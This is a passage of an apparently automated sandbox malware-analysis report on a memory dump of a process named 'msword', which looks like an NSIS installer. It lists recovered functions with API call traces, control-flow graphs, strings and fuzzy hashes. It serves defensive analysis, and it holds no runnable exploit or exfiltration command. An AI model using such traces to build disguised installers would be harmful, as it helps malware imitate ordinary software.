965->971 966->918 966->960 967->966 968->953 970->911 971->935
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
                                                                            • Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
                                                                            • Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
                                                                            • Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86
                                                                            Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
                                                                            • LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
                                                                            • GetProcAddress.KERNEL32(00000000), ref: 00406327
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: AddressHandleLibraryLoadModuleProc
                                                                            • String ID:
                                                                            • API String ID: 310444273-0
                                                                            • Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
                                                                            • Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
                                                                            • Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
                                                                            • Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC
                                                                            Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
                                                                            • FindClose.KERNEL32(00000000), ref: 004062EC
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Find$CloseFileFirst
                                                                            • String ID:
                                                                            • API String ID: 2295610775-0
                                                                            • Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
                                                                            • Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
                                                                            • Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
                                                                            • Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8
                                                                            Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345windowstringCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 56 405479-40548b 57 405491-405497 56->57 58 4055cd-4055dc 56->58 57->58 59 40549d-4054a6 57->59 60 40562b-405640 58->60 61 4055de-405619 GetDlgItem * 2 call 403d3f KiUserCallbackDispatcher call 40141d 58->61 62 4054a8-4054b5 SetWindowPos 59->62 63 4054bb-4054be 59->63 65 405680-405685 call 403daf 60->65 66 405642-405645 60->66 83 40561e-405626 61->83 62->63 68 4054c0-4054d2 ShowWindow 63->68 69 4054d8-4054de 63->69 74 40568a-4056a5 65->74 71 405647-405652 call 40139d 66->71 72 405678-40567a 66->72 68->69 75 4054e0-4054f5 DestroyWindow 69->75 76 4054fa-4054fd 69->76 71->72 93 405654-405673 SendMessageW 71->93 72->65 73 405920 72->73 81 405922-405929 73->81 79 4056a7-4056a9 call 40141d 74->79 80 4056ae-4056b4 74->80 82 4058fd-405903 75->82 84 405510-405516 76->84 85 4054ff-40550b SetWindowLongW 76->85 79->80 89 4056ba-4056c5 80->89 90 4058de-4058f7 DestroyWindow KiUserCallbackDispatcher 80->90 82->73 87 405905-40590b 82->87 83->60 91 4055b9-4055c8 call 403dca 84->91 92 40551c-40552d GetDlgItem 84->92 85->81 87->73 95 40590d-405916 ShowWindow 87->95 89->90 96 4056cb-405718 call 406805 call 403d3f * 3 GetDlgItem 89->96 90->82 91->81 97 40554c-40554f 92->97 98 40552f-405546 SendMessageW IsWindowEnabled 92->98 93->81 95->73 126 405723-40575f ShowWindow KiUserCallbackDispatcher call 403d85 EnableWindow 96->126 127 40571a-405720 96->127 101 405551-405552 97->101 102 405554-405557 97->102 98->73 98->97 103 405582-405587 call 403d18 101->103 104 405565-40556a 102->104 105 405559-40555f 102->105 103->91 107 4055a0-4055b3 SendMessageW 104->107 109 40556c-405572 104->109 105->107 108 405561-405563 105->108 107->91 108->103 112 405574-40557a call 40141d 109->112 113 405589-405592 call 40141d 109->113 122 405580 112->122 113->91 123 405594-40559e 113->123 122->103 123->122 130 405761-405762 126->130 131 405764 126->131 127->126 132 405766-405794 GetSystemMenu EnableMenuItem SendMessageW 130->132 131->132 133 405796-4057a7 SendMessageW 132->133 134 4057a9 132->134 135 4057af-4057ed call 403d98 call 406009 lstrlenW call 406805 SetWindowTextW call 40139d 133->135 134->135 135->74 144 4057f3-4057f5 135->144 144->74 145 4057fb-4057ff 144->145 146 405801-405807 145->146 147 40581e-405832 DestroyWindow 145->147 146->73 148 40580d-405813 146->148 147->82 149 405838-405865 CreateDialogParamW 147->149 148->74 150 405819 148->150 149->82 151 40586b-4058c2 call 403d3f GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 40139d 149->151 150->73 151->73 156 4058c4-4058d7 ShowWindow call 403daf 151->156 158 4058dc 156->158 158->82
                                                                            APIs
                                                                            • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
                                                                            • ShowWindow.USER32(?), ref: 004054D2
                                                                            • DestroyWindow.USER32 ref: 004054E6
                                                                            • SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
                                                                            • GetDlgItem.USER32(?,?), ref: 00405523
                                                                            • SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
                                                                            • IsWindowEnabled.USER32(00000000), ref: 0040553E
                                                                            • GetDlgItem.USER32(?,00000001), ref: 004055ED
                                                                            • GetDlgItem.USER32(?,00000002), ref: 004055F7
                                                                            • KiUserCallbackDispatcher.NTDLL(?,000000F2,?), ref: 00405611
                                                                            • SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
                                                                            • GetDlgItem.USER32(?,00000003), ref: 00405708
                                                                            • ShowWindow.USER32(00000000,?), ref: 0040572A
                                                                            • KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
                                                                            • EnableWindow.USER32(?,?), ref: 00405757
                                                                            • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
                                                                            • EnableMenuItem.USER32(00000000), ref: 00405774
                                                                            • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
                                                                            • SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
                                                                            • lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
                                                                            • SetWindowTextW.USER32(?,00447240), ref: 004057DC
                                                                            • ShowWindow.USER32(?,0000000A), ref: 00405910
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Window$Item$MessageSend$Show$CallbackDispatcherEnableMenuUser$DestroyEnabledLongSystemTextlstrlen
                                                                            • String ID: @rD
                                                                            • API String ID: 3906175533-3814967855
                                                                            • Opcode ID: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
                                                                            • Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
                                                                            • Opcode Fuzzy Hash: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
                                                                            • Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E
                                                                            Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351sleepfilewindowCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 159 4015a0-4015f4 160 4030e3-4030ec 159->160 161 4015fa 159->161 185 4030ee-4030f2 160->185 163 401601-401611 call 4062a3 161->163 164 401742-40174f 161->164 165 401962-40197d call 40145c GetFullPathNameW 161->165 166 4019ca-4019e6 call 40145c SearchPathW 161->166 167 40176e-401794 call 40145c call 4062a3 SetFileAttributesW 161->167 168 401650-40166d call 40137e call 4062a3 call 40139d 161->168 169 4017b1-4017d8 call 40145c call 4062a3 call 405d59 161->169 170 401672-401686 call 40145c call 4062a3 161->170 171 401693-4016ac call 401446 call 4062a3 161->171 172 401715-401731 161->172 173 401616-40162d call 40145c call 4062a3 call 404f72 161->173 174 4016d6-4016db 161->174 175 401736-4030de 161->175 176 401897-4018a7 call 40145c call 4062d5 161->176 177 4018db-401910 call 40145c * 3 call 4062a3 MoveFileW 161->177 178 40163c-401645 161->178 179 4016bd-4016d1 call 4062a3 SetForegroundWindow 161->179 163->185 189 401751-401755 ShowWindow 164->189 190 401758-40175f 164->190 224 4019a3-4019a8 165->224 225 40197f-401984 165->225 166->160 217 4019ec-4019f8 166->217 167->160 242 40179a-4017a6 call 4062a3 167->242 168->185 264 401864-40186c 169->264 265 4017de-4017fc call 405d06 CreateDirectoryW 169->265 243 401689-40168e call 404f72 170->243 248 4016b1-4016b8 Sleep 171->248 249 4016ae-4016b0 171->249 172->185 186 401632-401637 173->186 183 401702-401710 174->183 184 4016dd-4016fd call 401446 174->184 175->160 219 4030de call 405f51 175->219 244 4018c2-4018d6 call 4062a3 176->244 245 4018a9-4018bd call 4062a3 176->245 272 401912-401919 177->272 273 40191e-401921 177->273 178->186 187 401647-40164e PostQuitMessage 178->187 179->160 183->160 184->160 186->185 187->186 189->190 190->160 208 401765-401769 ShowWindow 190->208 208->160 217->160 219->160 228 4019af-4019b2 224->228 225->228 235 401986-401989 225->235 228->160 238 4019b8-4019c5 GetShortPathNameW 228->238 235->228 246 40198b-401993 call 4062d5 235->246 238->160 259 4017ab-4017ac 242->259 243->160 244->185 245->185 246->224 269 401995-4019a1 call 406009 246->269 248->160 249->248 259->160 267 401890-401892 264->267 268 40186e-40188b call 404f72 call 406009 SetCurrentDirectoryW 264->268 277 401846-40184e call 4062a3 265->277 278 4017fe-401809 GetLastError 265->278 267->243 268->160 269->228 272->243 279 401923-40192b call 4062d5 273->279 280 40194a-401950 273->280 292 401853-401854 277->292 283 401827-401832 GetFileAttributesW 278->283 284 40180b-401825 GetLastError call 4062a3 278->284 279->280 298 40192d-401948 call 406c68 call 404f72 279->298 288 401957-40195d call 4062a3 280->288 290 401834-401844 call 4062a3 283->290 291 401855-40185e 283->291 284->291 288->259 290->292 291->264 291->265 292->291 298->288
                                                                            APIs
                                                                            • PostQuitMessage.USER32(00000000), ref: 00401648
                                                                            • Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
                                                                            • SetForegroundWindow.USER32(?), ref: 004016CB
                                                                            • ShowWindow.USER32(?), ref: 00401753
                                                                            • ShowWindow.USER32(?), ref: 00401767
                                                                            • SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
                                                                            • CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
                                                                            • GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
                                                                            • GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
                                                                            • GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
                                                                            • SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
                                                                            • MoveFileW.KERNEL32(00000000,?), ref: 00401908
                                                                            • GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
                                                                            • GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
                                                                            • SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE
                                                                            Strings
                                                                            • IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
                                                                            • CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
                                                                            • CreateDirectory: "%s" (%d), xrefs: 004017BF
                                                                            • Aborting: "%s", xrefs: 0040161D
                                                                            • BringToFront, xrefs: 004016BD
                                                                            • Rename on reboot: %s, xrefs: 00401943
                                                                            • CreateDirectory: "%s" created, xrefs: 00401849
                                                                            • Sleep(%d), xrefs: 0040169D
                                                                            • SetFileAttributes failed., xrefs: 004017A1
                                                                            • detailprint: %s, xrefs: 00401679
                                                                            • CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
                                                                            • IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
                                                                            • SetFileAttributes: "%s":%08X, xrefs: 0040177B
                                                                            • Rename failed: %s, xrefs: 0040194B
                                                                            • Rename: %s, xrefs: 004018F8
                                                                            • Call: %d, xrefs: 0040165A
                                                                            • Jump: %d, xrefs: 00401602
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
                                                                            • String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
                                                                            • API String ID: 2872004960-3619442763
                                                                            • Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
                                                                            • Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
                                                                            • Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
                                                                            • Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE
                                                                            Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233stringregistrylibraryCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 426 40592c-405944 call 4062fc 429 405946-405956 call 405f51 426->429 430 405958-405990 call 405ed3 426->430 438 4059b3-4059dc call 403e95 call 40677e 429->438 435 405992-4059a3 call 405ed3 430->435 436 4059a8-4059ae lstrcatW 430->436 435->436 436->438 444 405a70-405a78 call 40677e 438->444 445 4059e2-4059e7 438->445 451 405a86-405a8d 444->451 452 405a7a-405a81 call 406805 444->452 445->444 446 4059ed-405a15 call 405ed3 445->446 446->444 453 405a17-405a1b 446->453 455 405aa6-405acb LoadImageW 451->455 456 405a8f-405a95 451->456 452->451 460 405a1d-405a2c call 405d06 453->460 461 405a2f-405a3b lstrlenW 453->461 458 405ad1-405b13 RegisterClassW 455->458 459 405b66-405b6e call 40141d 455->459 456->455 457 405a97-405a9c call 403e74 456->457 457->455 465 405c35 458->465 466 405b19-405b61 SystemParametersInfoW CreateWindowExW 458->466 478 405b70-405b73 459->478 479 405b78-405b83 call 403e95 459->479 460->461 462 405a63-405a6b call 406722 call 406009 461->462 463 405a3d-405a4b lstrcmpiW 461->463 462->444 463->462 470 405a4d-405a57 GetFileAttributesW 463->470 469 405c37-405c3e 465->469 466->459 475 405a59-405a5b 470->475 476 405a5d-405a5e call 406751 470->476 475->462 475->476 476->462 478->469 484 405b89-405ba6 ShowWindow LoadLibraryW 479->484 485 405c0c-405c0d call 405047 479->485 487 405ba8-405bad LoadLibraryW 484->487 488 405baf-405bc1 GetClassInfoW 484->488 491 405c12-405c14 485->491 487->488 489 405bc3-405bd3 GetClassInfoW RegisterClassW 488->489 490 405bd9-405bfc DialogBoxParamW call 40141d 488->490 489->490 495 405c01-405c0a call 403c68 490->495 493 405c16-405c1c 491->493 494 405c2e-405c30 call 40141d 491->494 493->478 496 405c22-405c29 call 40141d 493->496 494->465 495->469 496->478
                                                                            APIs
                                                                              • Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
                                                                              • Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
                                                                              • Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327
                                                                            • lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
                                                                            • lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
                                                                            • lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
                                                                            • GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E
                                                                              • Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E
                                                                            • LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
                                                                            • RegisterClassW.USER32(0046AD60), ref: 00405B0A
                                                                            • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
                                                                            • CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B
                                                                              • Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30
                                                                            • ShowWindow.USER32(00000005,00000000), ref: 00405B91
                                                                            • LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
                                                                            • LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
                                                                            • GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
                                                                            • GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
                                                                            • RegisterClassW.USER32(0046AD60), ref: 00405BD3
                                                                            • DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
                                                                            • String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
                                                                            • API String ID: 608394941-1650083594
                                                                            • Opcode ID: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
                                                                            • Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
                                                                            • Opcode Fuzzy Hash: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
                                                                            • Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E
                                                                            Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185stringtimeCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            APIs
                                                                              • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                              • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                            • lstrcatW.KERNEL32(00000000,00000000,WarsFeltMadridFarmsPee,004CB0B0,00000000,00000000), ref: 00401A76
                                                                            • CompareFileTime.KERNEL32(-00000014,?,WarsFeltMadridFarmsPee,WarsFeltMadridFarmsPee,00000000,00000000,WarsFeltMadridFarmsPee,004CB0B0,00000000,00000000), ref: 00401AA0
                                                                              • Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016
